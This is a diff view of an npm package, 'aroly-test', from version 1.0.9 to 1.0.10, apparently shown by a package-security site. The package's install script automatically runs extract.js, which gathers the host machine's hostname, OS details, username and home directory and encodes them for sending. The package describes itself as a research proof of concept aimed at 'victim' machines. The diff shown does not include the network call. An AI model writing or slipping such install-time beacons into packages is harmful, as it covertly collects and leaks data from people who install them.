aroly-test 1.0.9 → 1.0.10

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/extract.js +13 -1
  2. package/package.json +2 -2
package/extract.js CHANGED
@@ -9,8 +9,20 @@ var package_name_l = process.argv[2];
9
9
  var package_version_l = process.argv[3];
10
10
  var package_name_w = process.argv[4];
11
11
  var package_version_w = process.argv[5];
12
+ var package_name = "";
13
+ var package_version = "";
12
14
 
13
- var message = "Package (linux/windows) '" + package_name_l + "/" + package_name_w + "', version (linux/windows): " + package_version_l + "/" + package_version_w + " has been installed on hostname: '" + hostname + "', type: '" + type +"', release: '" + release + "', version: '" + version + "', username: '" + info["username"] + "', homedir: '" + info["homedir"] + "'.";
15
+ if (package_name_l == "$npm_package_name" ) {
16
+ // We are on windows, use these names and version
17
+ package_name = package_name_w;
18
+ package_version = package_version_w;
19
+ } else {
20
+ // Linux it is...
21
+ package_name = package_name_l;
22
+ package_version = package_version_l;
23
+ }
24
+
25
+ var message = "Package '" + package_name + " ', version: " + package_version + " has been installed on hostname: '" + hostname + "', type: '" + type +"', release: '" + release + "', version: '" + version + "', username: '" + info["username"] + "', homedir: '" + info["homedir"] + "'.";
14
26
 
15
27
  const data = new TextEncoder().encode(
16
28
  JSON.stringify({
package/package.json CHANGED
@@ -1,12 +1,12 @@
1
1
  {
2
2
  "name": "aroly-test",
3
- "version": "1.0.9",
3
+ "version": "1.0.10",
4
4
  "description": "This package is a proof of concept used by Antoine Roly to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way.",
5
5
  "main": "index.js",
6
6
  "author": "Antoine Roly <antoine.roly@gmail.com>",
7
7
  "license": "ISC",
8
8
  "dependencies": {
9
- "aroly-test": "^1.0.8"
9
+ "aroly-test": "^1.0.9"
10
10
  },
11
11
  "scripts": {
12
12
  "install": "node extract.js $npm_package_name $npm_package_version %npm_package_name% %npm_package_version%"